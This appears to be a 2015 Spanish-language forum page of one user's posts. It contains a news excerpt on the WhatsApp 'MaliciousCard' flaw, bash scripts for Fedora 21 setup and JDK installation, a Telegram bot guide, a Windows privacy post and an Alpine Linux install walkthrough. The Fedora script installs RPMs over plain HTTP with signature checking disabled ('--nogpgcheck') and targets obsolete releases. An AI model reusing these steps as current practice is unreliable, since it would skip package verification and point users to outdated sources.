The vulnerability is fixed and has been since August 27th, which is rapid considering the vulnerability was only disclosed to them on August 21st. Public disclosure came this week on September 8th.

You can read the full report from Check Point here: WhatsApp "MaliciousCard" Vulnerabilities Allowed Attackers to Compromise Hundreds of Millions of WhatsApp Users

    This attack does not require XMPP interception of crafting, due to the fact that anyone can create such a contact with an injected payload, directly on the phone, Check Point notes. As soon as the contact is ready, the attacker only needs to share it through the WhatsApp client to unsuspicious users.

    Check Point also explains that WhatsApp failed to validate the vCard format or the contents of the file, and that even an exe file could have been sent this way. Even more, malware could have been attached to a displayed icon, opening a vast world of opportunity for cybercriminals and scammers

    Over the past several years, WhatsApp has grown to become one of the popular messaging services on mobile phones, with over 900 million users as of this month, and it has extended to the desktop as well, where it has over 200 million users.

    WhatsApp Web provides users with access to all of the messages that they have sent or received, including includes images, videos, audio files, locations and contact cards, and keeps all content synchronized with the phone, so that users can access it on both desktop and mobile devices.

    Additionally, the web-based interface allows users to view all of the sent or received attachments, as long as they are accessible through the mobile application, including images, audio and video files, location info, and contact cards.

It's cute how they tried to come up with a catchy name too like HeartBleed or LogJam – they went with 'MaliciousCard'.

It's rather surprising more companies or bad guys aren't going after messaging services as they have such immense user bases (Over 900 Million for WhatsApp). Or perhaps they are, and there's a bunch of zero-days out there no one knows about yet. That is very possible.



Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

----------------------
@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es necesario citar la fuente de la noticia (o si la ignoras, que es información de la web). Edité tu post mencionando una de las posibles fuentes donde se encuentra la misma (nos evitamos justos reclamos).

Gracias, :)

Gabi.
#21
Batch - Bash / Post-Instalación Fedora 21 (Update&Codecs)
Septiembre 14, 2015, 03:01:40 AM
Código: bash
#!/bin/bash

# Actualizando el sistema
dnf -y update

# Instalación de códecs multimedia
dnf -y install --nogpgcheck http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm

dnf -y install gstreamer1-libav gstreamer1-plugins-bad-free-extras gstreamer1-plugins-bad-freeworld gstreamer1-plugins-base-tools gstreamer1-plugins-good-extras gstreamer1-plugins-ugly gstreamer1-plugins-bad-free gstreamer1-plugins-good gstreamer1-plugins-base

# Instalación de reproductores alternativos VLC y Clementine
dnf -y install vlc clementine

# Instalación de utilidades y complementos importantes
dnf -y install unrar p7zip p7zip-plugins java icedtea-web gnome-themes* gnome-tweak-tool yumex

# Instalación de aplicaciones opcionales
#dnf -y install corebird gimp inkscape minidlna qt-devel dconf-editor pyrenamer easytag

#Instalación de tema e iconos Numix
cd /etc/yum.repos.d/
wget http://download.opensuse.org/repositories/home:paolorotolo:numix/Fedora_21/home:paolorotolo:numix.repo
dnf -y install numix*

# Instalación de Google Chrome
wget https://dl-ssl.google.com/linux/linux_signing_key.pub
rpm --import linux_signing_key.pub
sh -c 'echo "[google-chrome]
name=Google Chrome 64-bit
baseurl=http://dl.google.com/linux/chrome/rpm/stable/x86_64" >> /etc/yum.repos.d/google-chrome.repo'
dnf -y install google-chrome-stable

# Instalación de Spotify
dnf config-manager --add-repo=http://negativo17.org/repos/fedora-spotify.repo
dnf -y install spotify-client

# Compilación de Handbrake desde Source

dnf -y install kernel-headers kernel-devel
dnf -y groupinstall "Development Tools" "Development Libraries" "X Software Development" "GNOME Software Development"

dnf -y install yasm zlib-devel bzip2-devel libogg-devel libtheora-devel libvorbis-devel libsamplerate-devel libxml2-devel fribidi-devel freetype-devel fontconfig-devel libass-devel dbus-glib-devel libgudev1-devel webkitgtk-devel libnotify-devel gstreamer-devel gstreamer-plugins-base-devel gcc-c++ jansson-devel lame-devel x264-devel

svn checkout svn://svn.handbrake.fr/HandBrake/trunk hb-trunk
cd hb-trunk
./configure --launch

cd build
gmake

make install

reboot

#Fin



##Crear archivo

touch No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

##Editando archivo e insertando código

sudo nano ./postinstalacion.sh

##Guardando Archivo

CTRL+o dale yes guardar

##Privilegios de archivo

sudo chmod 0755 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

##Ejecución de código

sudo ./postinstalacion.sh


Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#22
Batch - Bash / [Script] Instalación de JDK en Fedora
Septiembre 14, 2015, 02:52:11 AM
Código: bash
#!/bin/bash

#Instalacion de dependencias
yum install compat-libstdc++-33 compat-libstdc++-296

#Creacion de enlaces simbolicos para librerias anteriores
/sbin/ldconfig

# Instalacion JDK
OPT=/opt

# Se busca el tar de JDK se copia a /usr/local/java y luego se descomprime
TAR_JDK=`find -maxdepth 1 -name 'jdk*.tar.gz' -type f`

#Se descomprime JDK7
tar xzvf $TAR_JDK

#Se Obtiene el archivo jdk
DIR_JDK=`find -maxdepth 1 -name 'jdk*' -type d`

#Mueve la carpeta de jdk a /opt
mv $DIR_JDK $OPT

# Obtenemos el nombre de la carpeta de jdk
JDK=${DIR_JDK:2}

JAVA_JDK=$OPT/$JDK

PROFILE=/etc/profile.d/java.sh
if [ -e $PROFILE ]; then
rm -f $PROFILE
fi
echo "JAVA_HOME=$JAVA_JDK" >> $PROFILE
echo "PATH=\$JAVA_HOME/bin:\$PATH" >> $PROFILE

source $PROFILE

#Informar a Fedora donde se encuentra Oracle Java JDK/JRE
alternatives --install /usr/bin/java java $JAVA_JDK/bin/java 1

alternatives --install /usr/bin/javac javac $JAVA_JDK/bin/javac 1

# Esto es para Oracle Java Web Start
alternatives --install /usr/bin/javaws javaws $JAVA_JDK/bin/javaws 1

# Informar a Fedora sobre Oracle Java JDK/JRE debera ser Java por defecto
alternatives --set java $JAVA_JDK/bin/java

alternatives --set javac $JAVA_JDK/bin/javac

alternatives --set javaws $JAVA_JDK/bin/javaws

java -version

javac -version

#Fin


Como ejecutar archivo y guardar

sudo touch No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

sudo nano ./install.sh o sudo gedit ./install.sh (eliga su etorno preferido)

chmod +x ./install.sh

ejecutan codigo
sudo ./install.sh
o
sudo sh ./install.sh

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#23
Python / [Python] Publicar en redes sociales desde Telegram.
Septiembre 14, 2015, 02:25:37 AM
Por el simple hecho de ahorrar tiempo a la hora de publicar en redes sociales, cree un pequeño programa en Python con ayuda de los Bots de Telegram. El programa funciona de la siguiente manera: "Mensaje" > Bot en Python (API Telegram Py > Facebook API Py) > "Facebook" > "Twitter". El programa es Open Source y funciona perfectamente en Linux, Windows y quizá OS X (Creo).

INSTALACION
Simplemente hay que clonar el repositorio de GitHub:7
Código: php
git clone https://github.com/XTickXIvanX/Telegram2FB.git


Instalamos los requerimientos:
Código: php
pip install DictObject requests facebook-sdk


Creamos el Bot y obtenemos el token:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Creamos una nueva app de Facebook:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una vez creada obtenemos nuestro access token en:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Otorgamos los siguientes permisos al generarla:







Modificamos el archivo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta del programa y remplasamos los tres puntos de la variable API_KEY="..." por el token de Telegram y los tres puntos de la variable graph = facebook.GraphAPI(access_token='...') por el token de Facebook.

Vinculamos nuestra cuenta de Twitter a Facebook para tuitear lo que publicamos en Facebook.

Ejecutamos el programa:

Citarpython No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ahora solo queda abrir Telegram y enviar un mensaje(es) a nuestro Bot: '/publicar "Inserte aqui lo que desea publicar"'.


Fuente:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#24
Windows / Windows, GNU/Linux y la privacidad
Septiembre 14, 2015, 02:18:58 AM
La cuestión es que a la gente que le menciono algunas de estas opciones por defecto se ha alarmado y a dejado de lado la idea de actualizar a windows 10, demostrando que a pesar de todo mucha gente aun le preocupa su privacidad pero por desconocimiento, no saben que hacen con sus datos y este es uno de los argumentos por los que mucha gente empieza a usar Linux y software libre .

Así que hablare de este comportamiento espía de Windows y de una de las actualizaciones: Originalmente esta actualización que era para testers de Windows 10 se ha terminado colando en Windows 7, 8 y 8.1

¿Que datos recolecta?
Dirección de email, historial de navegación y búsquedas, el micrófono, las pulsaciones del teclado (algunos lo llaman keylogger), los archivos abiertos y los programas se encargan de abrirlos así como su rendimiento.

¿Como se puede borrar?
El que desee eliminar este comportamiento debe borrar estas actualizaciones: KB3035583, KB3068708, KB3022345 y KB2976978.

¿Donde puedo tener mas información?:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Sin contar que cuando se instala un software antivirus (en Linux casi nunca se usan porque se utiliza otro tipo de protecciones y generalmente en servidores) incluyendo Windows defender, se suelen enviar muestras de nuestros archivos a empresas privadas para saber si este es un malware, ¿pero que tanto confiamos en estas empresas?.

Linux generalmente respeta mucho mas la privacidad de las personas porque como dije anteriormente, es una de las razones por la que la gente la usa. Además de que es software libre y cualquiera con los suficientes conocimientos puede revisar su código de fuente.

Ahí se los dejo. ¿Qué creen?

Fuente:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#25
Dudas y pedidos generales / Ayuda con Sabayon
Septiembre 04, 2015, 03:47:35 PM
Hola y les agradezco de antemano que se tomen el tiempo de leer mi post,.

Problema:
Cuando instalo cualquier programa en sabayon 15.06 XFCE, siempre me usa toda la cpu, aun eh investigao no se si es un bug, pero cada vez que isntalo por entropy , o rigo
me tiene que usar los dos nucleos de mi laptod.
.
Si han experimentado y tiene idea de una solucion no dude en en ayudar gracias
#26
GNU/Linux / Alpine Linux (Instalacion y Introduccion)
Agosto 31, 2015, 02:18:54 AM
Una breve informacion sobre que significa Alpine Linux .
Extraido de WIkipedia:
Alpine Linux es una distribución Linux basada en uClibc y BusyBox, que tiene como objetivo ser ligera y segura por defecto sin dejar de ser útil para tareas de propósito general. Alpine Linux usa los parches PaX y grsecurity en el núcleo por defecto y compila todos los paquetes con protección stack-smashing. Está diseñado principalmente para routers x86, cortafuegos, VPNs, VoIP y servidores.

Se preguntara que tendra de especuial y diferente sobre centos o redhat o suse .

Definicion

PaX
En seguridad informática, PaX es un parche del núcleo Linux que implementa protecciones del mínimo privilegio para las páginas de memoria. La aproximación del mínimo privilegio permite a los programas realizar lo que tienen que hacer de modo que sean capaces de ejecutarlo adecuadamente, y no poder realizar nada más. La primera versión de PaX fue publicada en el año 2000.


grsecurity
grsecurity es un conjunto de parches para el kernel de Linux que hace hincapié en las mejoras de seguridad. [2] Se suele utilizar por los sistemas informáticos que acepten conexiones remotas desde ubicaciones no son de confianza, como los servidores y sistemas web que ofrecen acceso Shell para sus usuarios.


DOnde podais descargar segun tu base de arquitectura
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Lista de los comandos usa APK
Overview

The apk tool has the following applets:
add    Add new packages to the running system
del    Delete packages from the running system
fix    Attempt to repair or upgrade an installed package
update    Update the index of available packages
info    Prints information about installed or available packages
search    Search for packages or descriptions with wildcard patterns
upgrade    Upgrade the currently installed packages
cache    Maintenance operations for locally cached package repository
version    Compare version differences between installed and available packages
index    create a repository index from a list of packages
fetch    download (but not install) packages
audit    List changes to the file system from pristine package install state
verify    Verify a package signature
Este tutorial sera orientado ah Una maquina virtual

Empecemos con las capturas
CUANDO INICIEMOS LA MAQUINA VIRTUAL LOGEAREMOS PRIMERO con
Login; root






Agregamos el lenguaje de nuesstro teclado en mi caso use es



agrega nombre al host o lo deja default



NOTA;Dando enter automatica lo tomara como deafult
default eth0
default dhcp
default no
la contraseña del tu cuenta
default UTC


Luego del UTC nos dira que eligamos nuestro mirror eligan al gusto suyo
default openssh
default chrony
Available disk are;
eligimos sda

Usaremos el sys ya que esta opciones instalar permanete todos los paquetes en nuestra particion
Aceptamos con y para instales los archivos correspondientes



Al finalizar nos dira que hagamos reboot , quitamos el cd o imagen de virtual y logeamos con root + contraseña .
Cualquier consulta podeis enviar un MP o critica o sugerencia sera recibida